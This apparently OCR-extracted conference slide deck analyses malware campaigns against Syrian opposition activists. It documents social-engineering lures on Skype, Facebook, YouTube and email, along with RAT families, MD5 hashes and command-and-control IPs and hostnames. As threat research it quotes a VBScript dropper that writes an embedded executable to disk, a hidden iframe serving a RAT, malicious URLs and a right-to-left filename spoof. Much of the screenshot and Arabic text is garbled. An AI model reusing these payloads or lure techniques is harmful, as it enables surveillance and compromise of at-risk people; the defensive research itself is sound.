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CONFLICT BACKGROUND

OF THE SYRIAN CIVIL WAR

December 2010 - Mohamed Bouazizi self-immolates in
Tunisia.

March 2011 — Peaceful protests in Syria demanding
democratic and economic reforms from the regime of Bashar
al-Assad.

April 2011 — Regime forces begin using live ammunition
against peaceful protesters. Restive areas put under military
control.

July 2011 — Syrian Arab Army defectors announce creation
of the Free Syrian Army.
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From Mr KN Al-Sabah.

Sir, Iran is backing Assad. Gulf
states are against Assad!

Assad is against Muslim
Brotherhood. Muslim Brotherhood
and Obama are against General Sisl.

But Gulf states are pro-Sisi! Which
means they are against Muslim
Brotherhood!

Iran is pro-Hamas, but Hamas is
backing Muslim Brotherhood!

Obama is backing Muslim
Brotherhood, yet Hamas is against
the US!

Gulf states are pro-US. But Turkey
is with Gulf states against Assad; yet
Turkey is pro-Muslim Brotherhood
against General Sisi. And General
Sisi is being backed by the Gulf
states!

Welcome to the Middle Fast and

' have a nice day.

KN Al-Sabah,

London EC4, UK
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Assad is against Muslim
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and Obama are against General Sisl.

But Gulf states are pro-Sisi! Which
means they are against Muslim
Brotherhood!

Iran is pro-Hamas, but Hamas is
backing Muslim Brotherhood!

Obama is backing Muslim
Brotherhood, yet Hamas is against
the US!

Gulf states are pro-US. But Turkey
is with Gulf states against Assad; yet
Turkey is pro-Muslim Brotherhood
against General Sisi. And General
Sisi is being backed by the Gulf
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CONFLICT MAP

OF THE SYRIAN CIVIL WAR

the situation in Syria

by Thomas van Linge (_@arablhonmess)
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TELECOMMUNICATIONS IN SYRIA

Internet usage is around 20% of the
population

All infrastructure is state-owned

Websites regularly blocked by
government

Occasionally, Internet access is
shutdown entirely

Surveillance is to be expected

Photo: AP - Muzaffar Salman

Internet cafés are widespread in Syria:

« Café operation requires approval from security
services

 IDs are presented when using Internet,
browsing habits recorded



THE DIGITAL CONTEXT

OF THE SYRIAN CIVIL WAR

Social media featured prominently in Syrian revolution, and
Arab Spring as a whole

Ground war is accompanied by information war
State-owned media has an inherent advantage

For (armed) opposition domestic and international support is
critical

Photo from @Brown Moses



OUR DATASET

31 samples
Timeframe is February 2011 — present
Malware first seen early 2010

Samples attained from:
» SyrianMalware.com
« Malware researchers

 Malware forums



MALWARE TIMELINE

Samples Observed Over Time
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DISTRIBUTION METHODS

Social Engineering is a primary tactic.
Frequent leverage of social media:

« Current events

 Enticing information

« Shocking videos

» Fake digital security tools



OPPOSITION TARGETS

Casting a wide net

Occasional specific targets:
NGO employees

* Prominent opposition members

» Qutspoken online FSA supporters

 FSA soldiers & officers

Obijectives:
* Physically locate dissidents

 Embarrass and discredit dissidents



SKYPE

MALWARE PROPAGATION

Skype is widely used in Syria.

 Believed to prevent government eavesdropping.

* Frequent usage among Syrian opposition.
Opposition Skype accounts compromised via:
* Digital methods

* Rubber-hose cryptanalysis

Exponential compromise



SKYPE

[16:39:22]<redactedl>: Very, very
important video regarding Houla.
*malware link*

[18:23:33]<redacted2>: ?2? R —————
[18:23:51]<redacted2>: ii>WJl, sl - Today TEanesEEY, Ane T
PIFC _ v a3 T
m/download. php? 7fbf24ggqpvcgan

[18:23:59]<redacted2>: Watch out, ek — = =
guys [15:23:51] I 156 s assiig gls
[18:24:05]<redacted2>: & Jjbie |4 ¥ E:i;‘;}— e b Sl gy

. . R 2405 oY
[18:24:27]<redacted2>: Was your [18:24:27) [ < 555 V5 eLov Sl 310
account compromised? [18:26:09] I . i o 5
[18:26:09]<redactedl>: You are right E18=26=43} I

. . . 18:26:56] HNNEGEGEN: - = 11
[18:26:43]<redacted2>: ? | [18:27:08] .
[18:26:56]<redactedl>: Avoid that (18:27:27] [ : .ol i S ol Silp> o0 glb
link [18:27:34] [ -5 o= =
]E:li :27:08]<redactedl>: And erase the From https://www.eff.org/deeplinks/2012/06/darkshades-rat-and-syrian-malware

ile

[18:27:22]<redactedl>: jlg> (o &b

o lSudl olxds JS e

[18:27:34]<redactedl>: 43l pe Lo
new_new.pif (MD5: 0d1bd081974a4dcdeee55f025423a72b)
June 2012
BlackShades RAT

C2: 31.9.48.15 (alosh66.no-ip.info, alosh66.myftp.org)



SKYPE

[29/05/2012 18:03:44] Aleppo Team || ...: oslgxldl by ols ol dhxl Jodxs 3|
[18:03:46 29/05/2012] Aleppo Team || ...: .2i,lgildl dhs" Gdoadl Jwylrar®

[29/05/2012 18:03:44] Aleppo Team

| | ...: Last modified plan Aleppo time for Jihad
[29/05/2012 18:03:46] Aleppo Team | |

: Send the file "plan eventually 2.rar"

aleppo_plan_ «ls &b a5 dascercs.pdf (MD5:
bc403bef3c2372ch4c76428d42e8d188)

May 2012 - Fake PDF detaliling revolutionary plans in Aleppo

#2 Aleppo plan.pdf - Adobe Reader

Actually SFX RAR file Y T oI i [ r—
DarkComet RAT . y
C2: 216.6.0.28 s

tbea03bef3c2372chdc 764
| ZBd42efdlBE.scr




FACEBOOK

Facebook is an important tool for the Syrian opposition:
* Propaganda
« Documenting regime war crimes

» Organizing protests

Regime & supporters have exploited this fact



FACEBOOK

MALWARE PROPAGATION

+ Revolution Youth Coalition in the Syrian Coast / <354
sl Jalall 85,550 Gl

- Facebook page compromised, used to spread malware
« Current events used to attract victims

« Kamal Hamami (Abu Basir al-Ladkani) was FSA military leader
« Killed by ISIS in July 2013

Comments warning of malware deleted

17



FACEBOOK
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Important

The truth about killing Abu
Basir al-Adkani has been
revealed.

Using photos and videos, an
explanation as how Abu Basir,
the battalion leader was
killed.

*" smau ol - pMaudl Lo G 3=l LS
R \_Nb.ssul
"‘;_ Like This Page * 9 hours ago

ol

bVl jeaugl Jido Afuds oS o5

eyl auiSUl LB S o5 S 2yt guauilly joally
http://ge.tt/api/1/files/ ?download

5 9 people like this.
B 1share
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rs ago - Like
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S B 1580 ;o OlBgrus 190 (50 il S Al 2og
sl 2SIl
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UyaJI QLS S sl 1> 131 L 238) P50 bl y)
See slation
go via mobile * Like
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From https://www.cyber-arabs.com/?p=9400

bjwytowe.packed.exe (MD5: 6¢3e84a601b48eefc716936aee7c8374)
September 2013

njRAT

C2:46.213.210.210 (shaal983.zapto.org)



FACEBOOK

MALWARE PROPAGATION

*  Burhan Ghalioun — First
chairman of Syrian
Transitional National
Councill

« Left link to malicious
“Facebook security tool
In his profile comments

N
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FACEBOOK

MALWARE PROPAGATION

Facebook Securi

() facebook.com.appsdesktop.crocserve.com/facebook-web i\;l

o is in (S o\ you ke to wansiate vz (Y MR

) gy ) i Juand K5 b s Sl

Download Now ©

il Llaa o V) dg (aid hedia dely

From https://www.eff.org/deeplinks/2012/04/new-wave-facebook-phishing-attacks-targets-syrian-activists

- FacebookWebBrowser.exe (MD5: 7d867d6bd5fc3015a31fdfal21ba9187)
«  April 2012
*  Unknown malware variant

7 - C2:204.93.213.94 20



FACEBOOK

MALWARE PROPAGATION

“VPN client” left in private
opposition Facebook group

VPN-Pro.exe (MD5:
8eda7dfadecd4ac975bb12d2a3
186bbeb)

June 2013
ShadowTech RAT

C2:31.9.48.119
(thejoe.publicvm.com)

& Freegate 7.35 Professional Edition E[ IY

Server Status ITunneII Settings |

Current Status

Freegate is running & Tunnel, Proxy mode. |E proxy is set
to 127.0.0.1:8580. If you do not use |E, please set your
browser's proxy to 127.0.0.1:8580.

5% Dynaweb Home

Support & Feedback

Tum OFF | Company Home

Feedback I Restore defaultil Help " Exit I

21



YOUTUBE

YouTube is equally important for information distribution

Used heavily by both regime supporters and opponents

“Truth is the first casualty”

Malware victims are enticed with promises of shocking
videos



FAKE YOUTUBE

Jad Jiad | e el Joasd | =i Q ==
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Photo from https://www.eff.org/deeplinks/2012/03/fake-youtube-site-targets-syrian-activists-malware

setup.exe (MD5: e58a1795277edc08d35c6898f9befclc)
March 2012

DarkComet RAT

C2: 31.9.48.15 (alosh66.no-ip.info, alosh66.myftp.org)



REAL YOUTUBE

Victims lured with promise of
General Security Directorate
Intelligence

Originally reported in December
2013, still available on YouTube

Additional video observed
January 2014



https://www.youtube.com/watch?v=eWx9Rc_bjdo
https://www.youtube.com/watch?v=8HVxeEXU5GI

REAL YOUTUBE

Hackers Of The Syrian Revolution
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EMAIL

Social engineering via email is a common tactic.
Received from familiar user & domain names.

Used successfully by Syrian Electronic Army (SEA)



EMAIL

One campaign used email & current events:

Described by CitizenLab.org in June 2013

Target is sent variation of the following email with .zip
attached. Extracts to .Ink file:

Very very urgent] For the first
time, Sheikh Adnan al-Aroor
declares jihad]

Jihad, O brothers
Mr. Sheikh announces Jjihad
against Hezbollah and the Al-

Assad regime

To see the full video, view
attachments

From: use all gl fadl) ciisa |<_office33221 1 @gmail.com|
<mailto:office332211@gmail.com> >

Date: 2013/6/11

Subject: [l Ol e ) (lise fodd) 5 5a JoY [l 2> Jale
To: [REDACTED]

[ Olay sue ) s Fadd) 350 J9Y [l 12> Jale
93! Ly gl

) allad g ALl G ja dua dlgadly il ¢ylay Jualdl) Lisd

il jal) LS feaddd) AlS datial
1'.'. ;

Photo from https://citizenlab.org/2013/06/a-call-to-harm




EMAIL

User is sent to one of several malicious URLS:
http://[REDACTED]om/g.php?url=http://www.youtube.com/watch?v=jDkluDCn7fA

http://google-panel .html-
5.me/g.php?url=http://www.youtube.com/watch?v=Uw3Ny2A1lWvQLink

http://for-
google.allalla.com/u.php?url=http://www.alkalimaonline.com/news.php?id=118868

D
@

Qeak - @ - B @ ;h /jjseav(h ¢ Favortes €4) ij- & = \_% 3
Adcress | ] http: o, youtube, comfwatch?v=Un3Ny2A1 WvQ v B co ks >
[ESE 7]

ShamNews24 Subscribe

B et 2 2 aiE sl e
b

9,479 views

® Internet

Photo from https://citizenlab.org/2013/06/a-call-to-harm



EMAIL

Malicious PHP is accessed:

Please wait

<script language='javascript’>

document.location=";

</script><HTML>

<script language=vbs>

Set o=CreateObject (“"Scripting.FileSystemObject”)

Set s=CreateObject (“WScript.Shell”)

p=0.GetSpecialFolder (2)&”\1l.exe”

t=split (“4D,5A,90,0,3,0,0,0,4,0,0,0,FF¥,Fr,0,0,B8,0,0,0,0,0,0,0,40,0
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,
o,80,0,0,0,E,1F,BA,E,0,B4,9,CD,21,B8,1,4C,CD,21,54,68,69,73,20,70,7
2,06Fr,67,72,61,6D,20,63,61, 6E,6E, 6F,74,20,62,65,20,72,75,6E,20,69, 6E
,20,44,4¥%,53,20,6D, 6F,64,65,2E,D,D,A,24,0,0,0,0,0,0,0,50,45,0,0, 4C,
1,3,0,44,20,8B6,51,0,0,0,0,0,0,0,0,E0,0,2,1,8B,1,8,0,0,CC,1,0,0,8,0,0
,0,0,0,0,3E,EA,1,0,0,20,0,0,0,0,0,0,0,0,40,0,0,20,0, <SNIP>

1.exe (MD5: 00cc589571fa6e078ch92b34ea2eelcc)
June 2013
Suspected Xtreme RAT

3 C2:94.252.198.112 (tn5.linkpc.net)



EMAIL

Promise of FSA statement:

Message Subject: (Lo Holo e Ol 3o Lhadl Lolzd!l gl ol
Joxdws | u> ——

Message Subject: Very urgent - a statement from the FSA
General Intelligence

.zip file containing .Ink:

http://mrconstrucciones.net/js/youtube.php?url=http://www.
facebook.com/2013.Free.Syrian.Army.2/posts/221362964705474

PHP with embedded .exe:
google.exe (MD5: unknown)
October 2013

Suspected Xtreme RAT

C2: 46.57.215.104 (tnl.linkpc.net)



WEBSITE COMPROMISE

Compromise and leverage of pro-opposition websites
Hacked, then used to distribute malware

One example: http://syrian-martyrs.com



WEBSITE COMPROMISE

Enter Site




WEBSITE COMPROMISE

syrian-martyrs.com compromised between January 28" —
30th, 2013

Served malicious file via iframe:

<iframe name="I1" width="10" height="10"
src="http://acadcisco.unisla.pt/downloads/uploads/
software/ActiveX.exe" border="0" frameborder="0">

ActiveX.exe (MD5: 185¢8d11c0611cae7c81f4458bfladea)
Binary strings indicate Spy-Net RAT
C2: 37.236.124.197 (awrasx10.no-ip.biz)



METHODS OF DISTRIBUTION

BROKEN DOWN

Syrian Malware Distribution Methods

Website Email
6% 13%

‘.‘.'



RIGHT-TO-LEFT FILENAMES

Worth mentioning for frequency of use

Unicode control character U+202e

syriasgpj.Scr Syriaercs.jpg

aleppo_plan_
Gls &l a8 dbace.fdp.scr

aleppo_plan_
Gls &l jai dadceercs.pdf

s (B Opndual) any elan)
ALLail) (52} (s pllall o LAl
_2012¢m-+fdp.scr

s (B Ondual Gany elan)
ALall (52l plladl) Al
_ 20125 m-ercs.pdf

AND THATS NOTE/EN THE.
WORST FPRT! THE ADRST
PART 15 THAT—

| U+202e

<« NEVE. TNDID YEHT—

PUEH BT TRHW...
... 00Y DID WoH

QY

A




RATS!

DARKCOMET

Price: Free DAR KC m M ET |

DC author released REMOTE ADMINISTRATION TOOL

removal tool in response
to Syrian conflict

Samples: 11/31

BLACKSHADES < BLACKSHADES

Price: €40
Samples: 2/31

Xtreme RAT

Cost: Free / €350 for
source

Samples: 4/31

q.'



ER

ShadowTech RAT
NjRAT
Spy Net RAT

User Install Date Country OS
13-06-21 | USA [ win XP Pre

File Manager

Menu

wf'_Conrld:ions

Connection Settings
IP ar DNS:

- Configuration

[ ]

tentification: [ | | | |

Installation

= [ Install Server
Registry Startup Key:

Options

3 [ Meit

Mutex:

= |:| Persistence

L]

Socket Status: Disconnected | Connected Port: MNone

ShadowTech Rat

BE |

o Create Server | 5= UPnp | 31 Transfer Queue @ About

Message
b, |:| Show Message On Execution |

Icon: [Information |« | Button: [ves | No I~

Assembly Information

Description:

Trademark: Save Profile
1ol o el ol
v - v v Build Server ‘

Versiom: 0

Connected Users: 0 Peak: 0

Run File 4
Remote Desktop
Remote Cam

Remote Shell

Process Manager

Registry

Keylogger
Open Chat

[Users] [logs] [Builder] [ About] [ View ~ Sel[1]

Get Passwords

& 80

Server >

Open Folder




RAT VARIANTS

MALWARE EMPLOYED AGAINST SYRIAN OPPOSITION

Malware Variant vs Number of Times Observed
BlackShades

Unknown

ShadowTech
RAT

SpyNet RAT



COMMAND AND CONTROL

CNCIP
31.9.170.140
31.9.48.11
31.9.48.119
31.9.48.141
31.9.48.146

31.9.48.15

31.9.48.7
31.9.48.78
37.236.124.197
46.213.0.220
46.213.210.210
46.57.215.104
94.252.198.112
184.72.154.160
188.139.131.16
216.6.0.28

CNC Hostname
alosh66.myftp.org
alosh66.servecounterstrike.com
thejoe.publicvm.com

thejoe.publicvm.com
alosh66.no-ip.info
alosh66.myftp.org

thejoe.publicvm.com
awrasx10.no-ip.biz
hacker1987.zapto.org
shaa1983.zapto.org
tn1.linkpc.net
tn5.linkpc.net
alosh66.no-ip.info
aliallosh.sytes.net
meroo.no-ip.org

Location
Syria
Syria
Syria
Syria
Syria

Syria

Syria

Syria

Iraq

Syria

Syria

Syria

Syria

United States (Amazon.com)
Syria

Syria



ACTORS

WHO ORGANIZES THESE MALWARE CAMPAIGNS?

Primarily civilian & paramilitary Assad supporters:
* SyRIAnHaCKErS

« Syrian Malware Team

"C:\\Users\\SyRiAnHaCkErS\\Desktop\\test\\final\\final\\ob
J\\x86\\Debug\\Skype Encription v 2.1.pdb",



ACTORS

® Skype Encription v1.1

Encryption Close And Exit

Unencrypted Check Update

Copyright © 2012 IT Security Lab All rights reserved




SYRIAN MALWARE TEAM

Malware deployment A

Syrian Malware Team
February 27

2ign putd i Wlesly Llbasl axsall psen, wouspll Db o
Syl supmll sl JUa Vg 050 slaayl wgelall Lswileyl 55 ol
M sl gl eSSl eyl daleauds

Website defacements

Hacked by syrian lion
/http://qalamonmediacenter.com
e e sl itp://vwww.zone-h.org/mirror/id/21869732

See Translation

) Like

malware team hackers

About - Suggest an Edit




SECTARIAN STRINGS

“YaHoussen.exe’

Phase used to evoke the name of Husayn ibn Ali ibn Abi
Talib

« Seventh-century imam

* Highly-regarded in Shia Islam

(Armed) support for Assad regime mainly from Shia-aligned
groups:

* [ran
 Hezbollah

* Alawites



E STATE & CIVILIANS

Thin line between military and civilians:

Sectarianism

Compulsory military service for males

Extreme nationalism

No legal accountability

All of this encourages a military reaction to civilian malware



E RESPONSE

OPSEC awareness training
Make technical tools more accessible
Encryption as default option

Rapid analysis / countermeasures



THE RESPONSE

Centralized location for malware related to Syrian conflict
Provide samples for researchers

Distribute analysis and advisories

SYRIANMALWARE.COM
@SYRIANMALWARE

17



OPSEC IN THE STREETS

‘r%ssac{s Suppo €rs are 5encl:n
dan?erou/) ﬁ(/es Wct% chléed_

Gebunts. LDone be tricleds

https://www.facebook.com/Union.Of.Syrian.Free udents




BULK MALWARE ANALYSIS

Usage of Cuckoo Sandbox for bulk analysis

* http://cuckoosandbox.org/
Easy management of multiple virtual machines
Helps with sample correlation

Use of Bash, grep, etc.



CONTACT US

WE ARE BISHOP FOX

B @SECURITY SNACKS
n FACEBOOK.COM/BISHOPEOXCONSULTING

m LINKEDIN.COM/COMPANY/BISHOP-FOX

GOOGLE.COM/+BISHOPFOX



THANK YOU

CONTACT INFO, THX, QUESTIONS

@tprime_
Want to help? http://syrianmalware.com / @syrianmalware

Questions?




